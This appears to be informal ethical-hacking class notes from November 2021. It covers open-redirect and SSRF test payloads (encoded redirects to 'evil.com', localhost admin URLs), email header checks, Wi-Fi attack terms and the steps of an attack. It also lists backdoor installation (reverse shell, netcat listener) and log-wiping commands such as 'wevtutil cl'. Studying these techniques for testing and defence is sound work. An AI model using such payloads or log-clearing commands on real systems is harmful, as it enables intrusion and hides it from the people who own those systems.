www.abc.com/signin.html/?redirect=www.abc.com/profile&id=123/

Types of HTTP status codes

2XX - Success

3XX - Moved to some other page / redirection

4XX - Client side error

5XX - Server side error

Redirection - 302

Google dorks for redirection

url,return,next,redirect,return\_url,referrer,targeturl

site:abc.com inurl:redirect=

?url=

?target=

https://account.box.com/login?redirect\_url=http://bing.com

https://login.i-ready.com/login?redirect\_url=%2Fstudent%2Fdashboard%2Fhome

https://flipkartt.com/products?mobile\_item=iphone&tech=india&dshbfghdshfg&redirect=https://evil.com

METHODS

- HEADER BASED / THROUGH PATH FRAGMENT

it involves us in fuxing with url of the vulnerable website

www.abc.com actual url

www.abc.com/bing.com/

www.abc.com/bing.com//

www.abc.com//bing.com//

www.abc.com//bing.com///

www.abc.com///bing.com///

www.abc.com///bing.com////

www.abc.com////bing.com////

or we can also encode our user input as follows

- Single URL encode

if http://bing.com/ is our input

http%3A%2F%2Fbing.com%2F

- Double url encode

http%253A%252F%252Fbing.com%252F

- Base64 encode

aHR0cDovL2JpbmcuY29tLw==

example

http://abc.com/?redirect=aHR0cDovL2JpbmcuY29tLw==

- JAVA SCRIPT BASED

This we can give in url which have input parameter

http://testphp.vulnweb.com/listproducts.php?cat=1

http://testphp.vulnweb.com/listproducts.php?cat=1/abc.com/

We can give the below script

<script>document.location.href="http://bing.com"</script>

SSRF

Server Side Request Forgery

Involves in interacting directly with the server using attacker commands and trying to retreive information

CSRF - Client side request forgery

Involves in user configuration & security issues with regards to server

Server Side commands

http://127.0.0.1/admin

http://2130706433/admin

http://017700000001/admin

**17-11-2021, WEDNESDAY**

EMAIL HEADER ANALYSIS

The easiest way for finding the orginal sender is by looking for "X-ORIGINATING-IP HEADER"

1. Return-Path:

The email mentioned in the return path should be same as that of the sender domain or subdomain

sender email - sankar@abc.com

return path email should be - sankar@abc.com

or it can be any of the subdomain of abc.com

no-reply@it.abc.com

if its from a different domain

sankar@xyz.com

then it might be spoofed email.

2. Received:

we will have IP mentioned in this field, this ip wil get repeated 4/5 times in the email header.

The ip should be the same.

if the ip is different, then it means the sender has used vpn or he has sppofed the email.

3. Authentication PASS

- SPF Sender Policy Framework

its a configuration done in ur email server to restrict who can send email from ur domain.

if we want to check if SPF record is present for a domain,

https://www.kitterman.com/spf/validate.html

email spoofing can be possible with the following website

- DKIM Domain Keys Identified Mail

it ensures the content of your email remains trusted and its not tampered while communication.

DMARC Domain based message authentication,reporting & conformance

- it ties two protocols ( spf & dkim) together with a set of policies

the above 3 has to be set as PASS,

if it says

SPF - fail / softfail / hardfail

4. Email header analysis

https://mxtoolbox.com/EmailHeaders.aspx

WIFI ATTACKS

basic terminoligies

SSID - Service Set IDentifier (wifi name)

BSSID - Basic SSID (Wifi mac address)

Frequency - 2.5 / 5

Channel - it depends on the country and type of deviec which u use

AP - Access Point (Wifi Device)

Security - WEP / WPA / WPA2

Encryption - AES | TKIP

Lease time - its the time period for which a particular ip is assigned to a MAC.

Password Hacking

- Traditional Approach

- Advanced Approach - Wifi phishing

Device - WIfi pineapple

Hardware requirements

- Wifi adaptor - Alfa wifi adaptor

Mobile app - Fing / Wigle

used for wifi war driving

18-11-2021, THURSDAY

SSRF \ CSRF

vanat59182@hypteo.com

sankar@gmail.com

STEPS IN ETHICAL HACKING

1. SOCIAL ENGINEERING

2. INFORMATION GATHERING | ENUMERATION | RECONAISSANCE

3. SCANNING

4. VULNERABILITY ASSESSMENT

5. EXPLOITATION

6. PRIVILEDGE ESCALATION

7. MAINTAINIG ACCESS

8. COVERING TRACKS

A. Before attacker tries to exploit the victim

Try to mask IP, MAC

IP - Proxy softwares, Chain proxy, free proxy server, browser extension

Software - hotspotshield | ultrasurf

MAC - Technititum, SMAC

Supported OS - Anonymous OS, Tails OS, - OS should be run as LIVE OS

Supported Browser - TOR browser

B. WHen he logs in victim system

- We cannot open application or softwares directly from the program menu, we need to use command prompt

- Install a BACKDOOR (PHP Reverse shell or netcat listner) for future communications

- Open up any of the public ports or commonly used ports by servers so that our backdoor can use that port.

C. When attacker logs out of victim system

- Clear all logs MSINFO32, EVENTVWR.MSC (system logs, app logs, adminstrative logs)

- We can also use CLEARLOGS.EXE

- CLI

c:/>del \*.log /a /s /q /f

c:/>wevtutil el

This will display all the events and incase if we want to remove our event abcde

c:/>wevtutil cl abcde

- External Software STELLAR BITRASER

TO DO

1. Change MAC using SMAC - Open browser, browse few websites, turn on wireshark and capture the traffic. Now analyse the MAC address of ur computer from any one packet.

SPLUNK

90 DAYS TRIAL PERIOD

WIFI PINEAPPLE | SPLUNK

NETWORKING | SERVER | LINUX

OWASP

CTF WALKTHROUGHS